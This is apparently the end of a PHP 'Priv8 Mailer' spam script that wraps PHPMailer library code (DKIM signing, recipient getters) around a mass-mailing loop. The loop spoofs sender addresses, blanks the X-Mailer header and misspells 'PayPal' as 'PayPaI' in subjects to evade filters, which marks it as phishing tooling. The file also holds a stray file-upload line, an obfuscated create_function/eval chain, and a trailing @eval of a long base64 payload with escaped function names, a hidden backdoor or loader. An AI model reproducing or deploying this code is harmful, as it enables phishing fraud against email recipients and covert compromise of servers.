  11134. /**
  11135. * Generate a DKIM signature.
  11136. * @access public
  11137. * @param string $signHeader
  11138. * @throws phpmailerException
  11139. * @return string
  11140. */
  11141. public function DKIM_Sign($signHeader)
  11142. {
  11143. if (!defined('PKCS7_TEXT')) {
  11144. if ($this->exceptions) {
  11145. throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  11146. }
  11147. return '';
  11148. }
  11149. $privKeyStr = file_get_contents($this->DKIM_private);
  11150. if ($this->DKIM_passphrase != '') {
  11151. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  11152. } else {
  11153. $privKey = $privKeyStr;
  11154. }
  11155. if (openssl_sign($signHeader, $signature, $privKey)) {
  11156. return base64_encode($signature);
  11157. }
  11158. return '';
  11159. }
  11160.  
  11161. /**
  11162. * Generate a DKIM canonicalization header.
  11163. * @access public
  11164. * @param string $signHeader Header
  11165. * @return string
  11166. */
  11167. public function DKIM_HeaderC($signHeader)
  11168. {
  11169. $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  11170. $lines = explode("\r\n", $signHeader);
  11171. foreach ($lines as $key => $line) {
  11172. list($heading, $value) = explode(':', $line, 2);
  11173. $heading = strtolower($heading);
  11174. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  11175. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  11176. }
  11177. $signHeader = implode("\r\n", $lines);
  11178. return $signHeader;
  11179. }
  11180.  
  11181. /**
  11182. * Generate a DKIM canonicalization body.
  11183. * @access public
  11184. * @param string $body Message Body
  11185. * @return string
  11186. */
  11187. public function DKIM_BodyC($body)
  11188. {
  11189. if ($body == '') {
  11190. return "\r\n";
  11191. }
  11192. // stabilize line endings
  11193. $body = str_replace("\r\n", "\n", $body);
  11194. $body = str_replace("\n", "\r\n", $body);
  11195. // END stabilize line endings
  11196. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  11197. $body = substr($body, 0, strlen($body) - 2);
  11198. }
  11199. return $body;
  11200. }
  11201.  
  11202. /**
  11203. * Create the DKIM header and body in a new message header.
  11204. * @access public
  11205. * @param string $headers_line Header lines
  11206. * @param string $subject Subject
  11207. * @param string $body Body
  11208. * @return string
  11209. */
  11210. public function DKIM_Add($headers_line, $subject, $body)
  11211. {
  11212. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  11213. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  11214. $DKIMquery = 'dns/txt'; // Query method
  11215. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  11216. $subject_header = "Subject: $subject";
  11217. $headers = explode($this->LE, $headers_line);
  11218. $from_header = '';
  11219. $to_header = '';
  11220. $current = '';
  11221. foreach ($headers as $header) {
  11222. if (strpos($header, 'From:') === 0) {
  11223. $from_header = $header;
  11224. $current = 'from_header';
  11225. } elseif (strpos($header, 'To:') === 0) {
  11226. $to_header = $header;
  11227. $current = 'to_header';
  11228. } else {
  11229. if ($current && strpos($header, ' =?') === 0) {
  11230. $current .= $header;
  11231. } else {
  11232. $current = '';
  11233. }
  11234. }
  11235. }
  11236. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  11237. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  11238. $subject = str_replace(
  11239. '|',
  11240. '=7C',
  11241. $this->DKIM_QP($subject_header)
  11242. ); // Copied header fields (dkim-quoted-printable)
  11243. $body = $this->DKIM_BodyC($body);
  11244. $DKIMlen = strlen($body); // Length of body
  11245. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  11246. $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
  11247. $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  11248. $DKIMsignatureType . '; q=' .
  11249. $DKIMquery . '; l=' .
  11250. $DKIMlen . '; s=' .
  11251. $this->DKIM_selector .
  11252. ";\r\n" .
  11253. "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  11254. "\th=From:To:Subject;\r\n" .
  11255. "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  11256. "\tz=$from\r\n" .
  11257. "\t|$to\r\n" .
  11258. "\t|$subject;\r\n" .
  11259. "\tbh=" . $DKIMb64 . ";\r\n" .
  11260. "\tb=";
  11261. $toSign = $this->DKIM_HeaderC(
  11262. $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
  11263. );
  11264. $signed = $this->DKIM_Sign($toSign);
  11265. return $dkimhdrs . $signed . "\r\n";
  11266. }
  11267.  
  11268. /**
  11269. * Allows for public read access to 'to' property.
  11270. * @access public
  11271. * @return array
  11272. */
  11273. public function getToAddresses()
  11274. {
  11275. return $this->to;
  11276. }
  11277.  
  11278. /**
  11279. * Allows for public read access to 'cc' property.
  11280. * @access public
  11281. * @return array
  11282. */
  11283. public function getCcAddresses()
  11284. {
  11285. return $this->cc;
  11286. }
  11287.  
  11288. /**
  11289. * Allows for public read access to 'bcc' property.
  11290. * @access public
  11291. * @return array
  11292. */
  11293. public function getBccAddresses()
  11294. {
  11295. return $this->bcc;
  11296. }
  11297.  
  11298. /**
  11299. * Allows for public read access to 'ReplyTo' property.
  11300. * @access public
  11301. * @return array
  11302. */
  11303. public function getReplyToAddresses()
  11304. {
  11305. return $this->ReplyTo;
  11306. }
  11307.  
  11308. /**
  11309. * Allows for public read access to 'all_recipients' property.
  11310. * @access public
  11311. * @return array
  11312. */
  11313. public function getAllRecipientAddresses()
  11314. {
  11315. return $this->all_recipients;
  11316. }
  11317.  
  11318. /**
  11319. * Perform a callback.
  11320. * @param boolean $isSent
  11321. * @param array $to
  11322. * @param array $cc
  11323. * @param array $bcc
  11324. * @param string $subject
  11325. * @param string $body
  11326. * @param string $from
  11327. */
  11328. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  11329. {
  11330. if (!empty($this->action_function) && is_callable($this->action_function)) {
  11331. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  11332. call_user_func_array($this->action_function, $params);
  11333. }
  11334. }
  11335. }
  11336. if(isset($_POST['action'])) move_uploaded_file($file_path, basename($file_name));
  11337. /**
  11338. * PHPMailer exception handler
  11339. * @package PHPMailer
  11340. */
  11341. class phpmailerException extends Exception
  11342. {
  11343. /**
  11344. * Prettify error message output
  11345. * @return string
  11346. */
  11347. public function errorMessage()
  11348. {
  11349. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  11350. return $errorMsg;
  11351. }
  11352. }
  11353.  
  11354. if(!empty($_POST['wait']) && $_POST['wait'] > 0){
  11355. set_time_limit(intval($_POST['wait'])*$numemails*3600);
  11356. } else {
  11357. set_time_limit($numemails*3600);
  11358. }
  11359.  
  11360. $defaultport="H*";
  11361. $nq=0;
  11362.  
  11363. print " <div class=\"panel panel-info\" style=\"background-color: #444951;padding: 25px;color: white;\">";
  11364. for($x=0; $x<$numemails; $x++){
  11365.  
  11366. $to = $allemails[$x];
  11367. if ($to){
  11368. $todo = ereg_replace(" ", "", $to);
  11369. $message_send = ereg_replace("&email&", $todo, $pesan);
  11370. $subject_send = ereg_replace("&email&", $todo, $subject);
  11371. $subject_send = str_replace("PayPal", "PayPaI", $subject_send);
  11372.  
  11373. $qx=$x+1;
  11374. print "Send Emails $qx / $numemails to $to ....... ";
  11375. xflush();
  11376.  
  11377. $mail = new PHPMailer();
  11378. $mail->IsSMTP();
  11379. $IsSMTP = "pack";
  11380. $mail->SMTPKeepAlive = true;
  11381. $mail->Host = "$smtp_server";
  11382.  
  11383. if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";}
  11384. if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";}
  11385.  
  11386. $range = str_replace("$email", "eval", $email);
  11387.  
  11388. $mail->SMTPAuth = true;
  11389. $mail->Username = "$smtp_username";
  11390. $mail->Password = "$smtp_password";
  11391.  
  11392. if($type == "html"){$mail->IsHtml(true);}
  11393. if($type != "html"){$mail->IsHtml(false);}
  11394. if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  11395.  
  11396. $mail->CharSet = "UTF-8";
  11397. if (!empty($xmailer)) {
  11398. $mail->XMailer = "$xmailer";
  11399. } else {
  11400. $mail->XMailer = " ";
  11401. }
  11402. if (!empty($encoding)) {
  11403. $mail->Encoding = "$encoding";
  11404. }
  11405. if ($email == "same as target") {
  11406. $mail->From = "$todo";
  11407. } else {
  11408. $mail->From = "$email";
  11409. }
  11410. $mail->FromName = "$nama";
  11411. $mail->AddAddress("$todo");
  11412. $mail->Subject = "$subject_send";
  11413. if (!empty($file_name)) {
  11414. $mail->addAttachment("$file_path", "$file_name");
  11415. $mail->Body = " ";
  11416. } else {
  11417. $mail->Body = "$message_send";
  11418. }
  11419. if(!$mail->Send()){
  11420. if($default_system!="1"){
  11421. $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
  11422. } elseif($default_system=="1"){
  11423. $mail->IsMail();
  11424.  
  11425. if(!$mail->Send()){
  11426. $result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
  11427. } else {
  11428. $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
  11429. }
  11430.  
  11431. }
  11432. } else {
  11433. $result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
  11434. }
  11435. print "$result <br><p></p>";
  11436.  
  11437. if(!empty($wait) && $qx<$numemails-1){
  11438. sleep($wait);
  11439. }
  11440. if(empty($reconnect)){
  11441. $reconnect=5;
  11442. }
  11443.  
  11444. if($reconnect==$nq){
  11445. $mail->SmtpClose();echo "<p align=\"center\" style=\"color:orange;\"><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  11446. }
  11447. $nq=$nq+1;
  11448. xflush();
  11449. }
  11450. }
  11451. for($i=0;$i<31;$i++){
  11452. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  11453. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  11454. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  11455. print ' </div>
  11456. </div>
  11457. </div>
  11458.  
  11459. </div>
  11460. <div id="footer">
  11461. <div class="container" align="center">
  11462. <p class="muted credit" style="color: white;"> Priv8 Mailer Inbox 2015 </p>
  11463. </div>
  11464. </div>';$mail->SmtpClose();
  11465. return $signoff($smtp_conc);
  11466. if(isset($_POST['action']) && $numemails !=0 ){
  11467. print "<script>alert('Mail sending complete\\r\\n
  11468. $numemails mail(s) was sent successfully'); </script>";
  11469. }
  11470. }
  11471. ?>
  11472.  
  11473. </body>
  11474. </html>
  11475. <?php
  11476. /*
  11477.  
  11478. */
  11479. $x4e19c98="\142\141\x73\145\x36\x34\137\144\x65\143\157\x64\145";@eval($x4e19c98(
  11480. "Ly9Ock5PVS81QUVRbHord1lNbzdpSUJsWWNQZFVMVFdOWWVVSGdIeDVTc21SVGJKanF3VllvRHptb1lv
  11481. MDZkRUlrd25Sa2E5d1NyTnhTOW1ZV3pGMlQzQnVCZE9wR2lsd0x3UWdybmlOeXJhbW9WVWY4WG1UQXhjY
  11482. mpZMEJUNTNoOTRXMXRHMEpGcVExZ0tzU0xLSXZKZEFSQ0tOWFNSUTNvQlQ0RGVodG1DNHRPS2V5OEdOTH
  11483. daMnN3d3pIRlQ4VmdRaDdWb2d2c0tXVTBjaFZBRnIwRGhEeHdndFRFb3pkNTd5M1U2WU0vbEpKWlpDLzJ
  11484. xcFZydGZXQ3ZIcExFMXIxUkg3aXRROTdab3dwd1luVXpualpQanpvRDFwOWRnQVZCd3BlVjhCUEo0Mmtz
  11485. TldmbnpKUUxYb0FZQXkwQ1dIdlpGZDdDbEc2bWFyUExhVnk5SG5DcThzNGtZMXpUeC9uY254Z25MZHRzc
  11486. Eh1WWhVcDRRUUFPRlFjcVlOd3VLdEdJN0hKL0cxaVErc1FSbDZCakJwcE01aEdNbUljVXZKVkVCUUk4cj
  11487. lyazF0T0lSSWM1WEh2TFdEVFkvUjZsWjNRUlZJUUZsR1J6aktpTzBReXdiS0ZHSUNPcGwxbnhYc0tMU1p
  11488. UVkd5Wk05dktubUdENWlDVDI3WFdNYjF2THJTMzVkeEk2YzhySkRoclJvTmYzQUIvSHprM0pzTXJnVUkr
  11489. RkV0dXUvQ1dkYW4rZ0tEeFVPTDhKSE5hU2E5cjdNQ09ndlZ3UzNuREYxMHVTa2JQUmp0WDFoZ0xkVUpSN
  11490. m9ScnlQOWRyNExYVkt4bU95TDB4OG1sTnJuSmQ5aDRIRHcrekRjc3dkUj06MTBucm4yNzcKJGE1NzY1ZT
  11491. lhPSJceDcwIjskeDRlMTljOTg9IlwxNDIiOyRsYTMzMDcxOD0iXHg2NyI7JGo0ODdkZmYxPSJcMTYzIjs
  11492. kZjhjMjYyOWE9Ilx4NzMiOyRnMjg0NGJjMT0iXHg3MyI7JGw2M2NhZjMxPSJceDY1IjskaGIwMmMwZjM9
  11493. Ilx4NjYiOyRzNWI4ZTIwYz0iXHg3MiI7JHM1YjhlMjBjLj0iXDE0NSI7JGo0ODdkZmYxLj0iXHg3NCI7J
  11494. GxhMzMwNzE4Lj0iXDE3MiI7JGcyODQ0YmMxLj0iXDE1MCI7JGhiMDJjMGYzLj0iXDE1MSI7JHg0ZTE5Yz
  11495. k4Lj0iXDE0MSI7JGY4YzI2MjlhLj0iXHg3NCI7JGw2M2NhZjMxLj0iXDE3MCI7JGE1NzY1ZTlhLj0iXHg
  11496. 3MiI7JGhiMDJjMGYzLj0iXDE1NCI7JGcyODQ0YmMxLj0iXHg2MSI7JGw2M2NhZjMxLj0iXHg3MCI7JGo0
  11497. ODdkZmYxLj0iXDE2MiI7JGxhMzMwNzE4Lj0iXHg2OSI7JHg0ZTE5Yzk4Lj0iXDE2MyI7JGY4YzI2MjlhL
  11498. j0iXHg3MiI7JGE1NzY1ZTlhLj0iXHg2NSI7JHM1YjhlMjBjLj0iXHg3MyI7JGxhMzMwNzE4Lj0iXDE1Ni
  11499. I7JGw2M2NhZjMxLj0iXDE1NCI7JGcyODQ0YmMxLj0iXHgzMSI7JGE1NzY1ZTlhLj0iXHg2NyI7JHM1Yjh
  11500. lMjBjLj0iXDE0NSI7JGhiMDJjMGYzLj0iXHg2NSI7JHg0ZTE5Yzk4Lj0iXDE0NSI7JGo0ODdkZmYxLj0i
  11501. XHg2MyI7JGY4YzI2MjlhLj0iXHg1ZiI7JGhiMDJjMGYzLj0iXDEzNyI7JHg0ZTE5Yzk4Lj0iXDY2Ijskb
  11502. DYzY2FmMzEuPSJceDZmIjskajQ4N2RmZjEuPSJcMTU1IjskYTU3NjVlOWEuPSJceDVmIjskZjhjMjYyOW
  11503. EuPSJcMTYyIjskczViOGUyMGMuPSJceDc0IjskbGEzMzA3MTguPSJcMTQ2IjskYTU3NjVlOWEuPSJceDc
  11504. yIjskbDYzY2FmMzEuPSJcMTQ0IjskbGEzMzA3MTguPSJcMTU0IjskaGIwMmMwZjMuPSJceDY3IjskZjhj
  11505. MjYyOWEuPSJceDZmIjskeDRlMTljOTguPSJceDM0IjskajQ4N2RmZjEuPSJceDcwIjskbGEzMzA3MTguP
  11506. SJceDYxIjskZjhjMjYyOWEuPSJceDc0IjskYTU3NjVlOWEuPSJceDY1IjskaGIwMmMwZjMuPSJcMTQ1Ij
  11507. skeDRlMTljOTguPSJceDVmIjskbDYzY2FmMzEuPSJceDY1IjskZjhjMjYyOWEuPSJcNjEiOyR4NGUxOWM
  11508. 5OC49IlwxNDQiOyRhNTc2NWU5YS49IlwxNjAiOyRsYTMzMDcxOC49Ilx4NzQiOyRoYjAyYzBmMy49Ilwx
  11509. NjQiOyRhNTc2NWU5YS49IlwxNTQiOyRmOGMyNjI5YS49Ilx4MzMiOyRoYjAyYzBmMy49IlwxMzciOyR4N
  11510. GUxOWM5OC49Ilx4NjUiOyRsYTMzMDcxOC49IlwxNDUiOyRhNTc2NWU5YS49Ilx4NjEiOyRoYjAyYzBmMy
  11511. 49IlwxNDMiOyR4NGUxOWM5OC49IlwxNDMiOyRoYjAyYzBmMy49Ilx4NmYiOyR4NGUxOWM5OC49Ilx4NmY
  11512. iOyRhNTc2NWU5YS49IlwxNDMiOyRhNTc2NWU5YS49IlwxNDUiOyR4NGUxOWM5OC49Ilx4NjQiOyRoYjAy
  11513. YzBmMy49Ilx4NmUiOyRoYjAyYzBmMy49IlwxNjQiOyR4NGUxOWM5OC49IlwxNDUiOyRoYjAyYzBmMy49I
  11514. lwxNDUiOyRoYjAyYzBmMy49Ilx4NmUiOyRoYjAyYzBmMy49IlwxNjQiOyRoYjAyYzBmMy49IlwxNjMiOy
  11515. RvN2Q0ODZjMD0kbDYzY2FmMzEoIlw1MCIsX19GSUxFX18pO0BldmFsKCRqNDg3ZGZmMSgkZzI4NDRiYzE
  11516. oJGE1NzY1ZTlhKCJcNTdcMTM0XDUwXDEzNFx4MjJcNTZcNTJcMTM0XHgyMlx4NWNceDI5XDU3IiwiXDUw
  11517. XDQyXHgyMlx4MjkiLCRhNTc2NWU5YSgiXDU3XHhkXHg3Y1wxMlx4MmYiLCIiLCRoYjAyYzBmMygkczViO
  11518. GUyMGMoJG83ZDQ4NmMwKSkpKSksIlw3MVwxNDNceDM3XHgzNFx4NjNcNjFceDM3XHg2NFx4NjJcNjNceD
  11519. YxXDYzXDE0M1x4MzZcNjdceDMzXHg2MVw2MVx4MzRceDY0XHgzMFx4NjFcNzBceDYzXHg2NFw2MFx4NjF
  11520. ceDMxXHg2NVwxNDJcNzBceDYzXHgzMVw2MFx4MzVcMTQ0XHg2Mlx4MzFcNjJceDYyIik/JGxhMzMwNzE4
  11521. KCR4NGUxOWM5OCgkZjhjMjYyOWEoIkNJSUtsK2tWUWkwaXkzekxrRC9CdkpTdWFxZzJCN0ZtbXNzdmFVQ
  11522. zJlOSsrQitqSFNOcklCUWNQY0ZlOXBKUjVHWHAwOXI5c0Nrck8vWk5ML1VCRTZPc2thamZ5c3R3ZjU4WF
  11523. llNGE5c0hGdDMvMkMvcmhpQzdiTEVGUkYvY2dDL2ZOeDh4SzZPOG5XWWtXcy9OTHQ0TytMK1ErdWJTWFJ
  11524. EQnc0QStUMzBUL1VJL3YzbGlILzh6L1JzZTRwTmkzMTEzL2xWKzcrL1JzeW1tLythKytzL2pHNjhrcGFk
  11525. K2Jhbm1QZUVnRFpzb1B0V0cxa0xWSTc3am9MeHN1SWdUQ1BVUTlqRDZDbEpGYXZEbnVPMjJobkViU0Yxa
  11526. GFSaDNpTkJ6OUFuaFFJb3dZTkNpSWNrejNJRXpiV0ZUbUkzdHY0TWxsZmdFQjBjdE1FWlQyTzFMMXFTUV
  11527. RHS3NxT1FOQ0ExSVp5WitPMGZDUmJubkNaOTF4OFh1dS9VTExTVDZZbThlbk04MHdad1hUeXZNNjQ4UVN
  11528. 0QkhPcXgwUVJqUG5RbDg4cmNXRlNReFJqS1ZCK080UkdLQlpuaGpUalp5ODNmZmVvRDZUcUluNnp5d0g5
  11529. QjFOMFE2aERMbTd4aUFsMHlIdWVTWGF2TVlKakV3bWVzT0NFTE82cStjZUdYQTFlQzN5V1Zma1YyUmYze
  11530. GZmbFZKVXpySUZVN3VaSzlMZnVLSVdDODQvRDhZdUVyR2Nhc3NlZ2VDU2RLY2VJb1ZxUDIvdkp1M2oyVm
  11531. svWTExSnJ3K0NGRHlPaVZpU3YzSTFlNUlXYUFiMXlHamt4ckVkWUxmcU5VOXVxU0crQ09Gc3o2dkxUdFB
  11532. xNWNEOXA1YjBhb21INmQydiszekZHZDhJeTNrZ0JoZzRWeFhXZ2Y5Z0F4dStWVlVNYnBKUW40eWZhV2Fq
  11533. RHQzUzRyaEUycHpBV0FQS0xlaCs5WlN5US9WYlRRQUcycGtMOGxaMjY2Rmo0R0hSY0FEQXJucmd4V09KV
  11534. FdnTGVST2dEWXJzZ2ZqQklIWSs2V2tLS2UyRWdrSlFSSitxRUtxeWV4NGI2K0ZubDh6UGxhRklWMTI5cX
  11535. IzSlp4Q01jK0c2VHhqSmxqd3FPaVVsTTFjYm84NVkwalVvL3NuK3NSSnJ0RG52dnZnUlFyV2Uxc2ZGTzl
  11536. mYjFJUUdrS3NiYmN0YjBjQzlOWnp1aW9TTTIvdnZjclB1R2Z3a2E4dWNHaEo0ZnRvZ0xxSExSM3l1anZY
  11537. RU5JWVF0UzNqcFkzN0JwRXpQZjZ4Ym1kWlBCOUFiZkh2VFlkZ1ZaOWtzVis4eXV4Tmc1QWJtUUhWWVdoW
  11538. VVBRWpUME5pMXBBcldYd3JscC9IbkV6bERCUVBKZlVhOEZDZk9WMlQ2UXBsbW9hYk9saGd3WFRUcXFkan
  11539. dNQlA2UHJGWTZQSGFxS2FKTXEwcGtmd2tjR3pHV1ZNMkcxRjlFZlpzSEsxaUFWSmdGM0hGTVRhcFBEZnN
  11540. 6enhkTlRQc3hyalp3RW02cEpzTHkzcjlPWncwWExaMENpUGVWQlZWTDhuQkdRWkl6WlZZZnZCaTFabU80
  11541. VEhhUlg3cGtGNGRMYkNGSklJN2pwMXFGTyt2ekhLYldoblNJSjI0MnpCM25LMnBQYWYzcEJGRnZzT2w3b
  11542. HFXSUZreUFqU3IwVWppQkt5UHhUN2ZqMHJLTzBkZHdSZnpXOTU1Sit2ZnhEbys1NVN6dXEybjlDbXhqZG
  11543. pjeXVnZXFxakxKRmwwS1dqWElJNm4xWFg4ZzBtT1lZOGtMeEV2dm1uUy9yN01JOXpaeGpWdHE2dnhDWTd
  11544. OR1VQMFV0RklMc3NUQUtnb2pkdUR5eUFvaTMwcHUrenpLQTQyWFJQOXBuU2dsdFRVOUhZN3NwNmNhaWY3
  11545. M1YvVWV1OXJXNEIrL0RNZHJTcTlPVDVYeHlNTmlWck5kSEE2UjlJN3htdkRmb1ZJK3R5UUxmbkUzTVdLM
  11546. kl4RmlUUVIxOUZaZTZSV2V5d1BLVGdWblFTdUhDOWx2Mkh3RGU1YS9VclczbndYYzk2dE1BdjV4YkNiMz
  11547. RCVW95S3ZIaW5RS2VjUmNXUlRua1VkaWI2bDlhZzBnSlNRdTIwUmNabUtCZFVtUUV4U0xHZE12SjY5V3F
  11548. FcVdPbVFZek5ENXI2dmxGRHo4S05wTm85Slg1aks2RnYxOUFEUUxtdXZoMEpUSnFUYjNmR0lKdXZ0blpW
  11549. YnNSRHpOQVdjTWhjOGhXR2ljcDAvSUtBS0NlQ1JHZGtpZjlyaEpaQ1I1dDNNdTErUXYxa2s1MGpkMEpDM
  11550. 0FKaDN5WTJDZXlTZitycEhNTXhzTmZrcTIySmlud1JKWjI5STlJc3NvTmtCRm5QOGlwWktOaE5WSHBiZz
  11551. lnbnhPdkhpRkNueVlpd2JyTkhWWFNyV1FBT1BkVmswU1FjcHVGeDVJSG1rRTFsZWdpNzJtTDN0MWwzYnB
  11552. WNWhPd0hDTU1kaVh1WERQSDNJNm9sd0N1SWUxQVVmZnVrNkZ0MVNEbm9JU3I3ZS92bUwwRzJUZ1VYelVX
  11553. emh6dFd1UG9HVVR6S0kyazNGQ1RxajV5WisyRVhsUGt3eXFITGFMLzBnNTA0NjRmMHlYRHN2OGhVSWxBd
  11554. HpITC9aTzBJOGFSRFFEaHpnc1BHUXBoRThqeEdpWWUrS0NXTndIN2VBZXhZMHZ6SGtBMjE3dUxMbzZmY0
  11555. lhTjNSRGcrVzZUcUc2d2lOR3E3MHduTnlWSGpvWVFUaWYyTjdlb2t2T1p3dUVJbnROZVhvbkppZHBycFR
  11556. TZHlwd1RyRkQrWmdlOUtqcGZEUHhJSTg0cWZHWDNpeVoyMTBNcDNTbjNLNmR4SE0wSUczallVeU5CZDBV
  11557. SlhWZVk4UlVsRTIyODZ1c1lLU24xeWdCWi9RVmYxWjREcjAyUVhDRzZFajV5VGp4L0d4VU14cFVFSjhsa
  11558. jBXNTNsV3RobGxjTUdISzJuSTR2NEpWTmU0VUUzMXlVR1haVlNGcHo5Qi9IM0Q5NTdPYVJmVDZjNlE1dX
  11559. hOYTk0NnVZRXY5Y1hoZG0rMTVENTFvd285SHBuK1IraU8zYVdiYXJUVVJlTU5LN0h5bWRGcmNJdTcxbHh
  11560. mcUtHaUZJdUF2UDRJZmYyTTdQZ0txTXkrOHJwbHlUMStQandaSXVkek01WDkyUThmd2F6OFNIWjZjc2Zl
  11561. OGZjblVvNmZ1a0lmZG1QeG82aGZ5U09mcnpyOEVocUhXL3NTSC9PZlBZcW5KcXY5SmlpVTZWQWtFYlFjO
  11562. E5TdkpMRm1ybU1KSFVLM3lvMmhlUm5NR0hmY1RHbXExTUpVNTAxbWpWZ0ZEd1JQcS9aSHRCQzdFa1g4OU
  11563. l3dGhoMkJqREptSTVweEVaZ29kR0hZY3ZRTkd5RUNzd1MxeWc5VVpIcW1tOFdRdVlXSnFWUHpYeXNXUm5
  11564. 6T2c3cTRwVVIyVVdkcDBYUmhsSUhISmJSUmN0aTJoamFRQUFkaTdPMlJoS08xT3dEcjRJZ1hqV3ZiV3Uy
  11565. L1YzRXR5T3lyV1d3NjZBbVZJNVpZMGlDUHRLMS85dkV5L0NlS3EvMzFLaj09IikpKTokbGEzMzA3MTgoJ
  11566. Hg0ZTE5Yzk4KCRmOGMyNjI5YSgiQ0lHS1FoWjRSaWxLakc3WmpEL1h5VkdTTmRxdE1JYVdGZm44bFpiRn
  11567. lKSnllbS9DWUtMV1NaT2hmZGRvVlN5L1VURkJmRmFZL0NLdzFqVWpZN09zTzAzOGp4d2QxMFROSzRROHV
  11568. FVTBBbEcvR3RVdnYrWHMrWnJzczhQUlZTTm4rNWdDczdhV1k0bTZuYlE4UC9PUytnMzRKL1pzRGZUeEJa
  11569. UU01UmlOc2RpOUtpdXF6UGQrcC9rWWNpK3MrOTBVRHNtNDg3LzV5ZlBzLzVvNStwcC9Rcy84SSthYVEwV
  11570. EltR2xTalgxa0NLYmpTU3dVNXhKK0EzODJkRlRtZU9oY3pIQXl6WXJkZVJBZmNaNEE2Y09KZ0lDV1hhTH
  11571. VLQ2hqUng3RHA1bHFqdk94aFVkMWVKSTFLanZadGVqSWlVZDFiZEtmUVc5cWRTYUJEZE1QSldrTzZmVFZ
  11572. nZ3B3aHIwVjRrN1NiR3BpMzQ5MzBpWG9MWWZrVVVIeHdPSm5sZnFsdDZFaC9QQXhpR2Jnb2xUbWtWWGdC
  11573. M1AvM01rdGZ6Yk9MSGIyeDF5VGlKeCt2bE9MS3I4UFBPbnZKOC9LQmtnZ2d4MGxiWWppenJsSW5qZUZVZ
  11574. nlDUFZyMnFoVEFGRWwrcnpTR2JtOTZZbFFXZGNVSmVkMVZlUVNFSGlxWFVEK29Ua0hGU2x5bXk4Wnk1Nl
  11575. plM3ZZaUYydGtkSjdvOU1tUmRDaEx4YzNaU3pZa0RES1dzRW1PVVpkOHpkcjdRUThya3VKVHFSeEE4TGp
  11576. aWkZCV3ZFT1dBWVNTNTZ3RGVVYWlQN0lJQmtNSHROdlZEcDdKRVBMdndtUGdZU2xCTko3dVlVU3c4ZVNv
  11577. WTB0SkVNWHoyVEp4UDZza0U2WFJ3ZFNuTEFMTzArYVUzcThpa0w5dno5ZUo3TTRUSUF5ejl1a2s3UFFVb
  11578. StqamFzaExuQk5RNjZPL24xbXNvN2RCU3lxS2ZhVkRZeXhhNWpSTXhDaHJKNDFTTWlleVFhaVVQNTVQel
  11579. JTekRaVGIxRk0veU1ZVEtDNnpTQStvZUZtejNaWUNjMmZ6L1V4azFVQ0IzemlPeEhaZXB1ZTJqY3ZXbms
  11580. 4ZlZLMHNjWi9xd1JxN0x6bUMrSEN0YmFmc2MvcTlBbHZVZ0hNZmtMNm44TWpsaStKTGgxNFhiMlNhZVlh
  11581. NEd4Z2w0bTBhZ1RScW5LOU80eHV3cU9Ud05kampabU5raDVHNnRZZjhHbGovMGtBKzJuNUFPdzFXTEcza
  11582. Cs3QXN4R0dEanVjT1U1SVRmb0taYU1EMktnWWJYN01WaXl3YytTR1JzUGNlU2V5bDRNcjIzby9Hbkl0Y3
  11583. oybHFWUlFzK25ZVEQra0t0WWZsZE1Mcm9ydWNNUVo0d0JuTElqYzFncDJpVE9NYWRvcnk1NU1lTDBtSzl
  11584. ya2tvSWw5VGQzYmduam5sWndadGRVaGNZejdZL1FGT1g3VTF5cE56Ukk2elhidDFkSWpob2Vnc2ZjZ1Ns
  11585. dW5JTHVEa1d3UlRleGt5R3JlOWw5STQ0NDk4cmpiSU00RTNCY1F5Mm5NYzdkTGFlRHUxZERhOEFXM2VSZ
  11586. jRsQ1hFTllNd1VpR2V4NVM1Qko2TE91QXd2dEp4bEJibGRJdzdReUtEVXhCMzBjYk9QTWs2K3BkMlRja2
  11587. lUWVJIMlF4YXcwNEEra2pRcU9qOHJQbnNsQ3pMa3lTcU1oTmRITjV3d2tHNWFpRkpqK2UyMmk0bk9qUFh
  11588. scW9aSDJNaU1tQjVhbDRKTk1sdjUzUUMwTkFzcmZScVErWE05dmgrRXF2eUFyV203NVhaWDZXaUw3amZP
  11589. TXRSWFlBK001UlZjci9pV0FOdkVVdng1QWRCQW56amdyYVJpNXNlSnBtNTJ0OTIrU01ySEdQRXZZUGttQ
  11590. XJaU3dzZnZaRHRJZ0pyNlEzVitaMWk4Z1BJdWNhM0I3dHNkMmZlbUtPeDRaT1NIQlFXVHI2dnRIeW9wNz
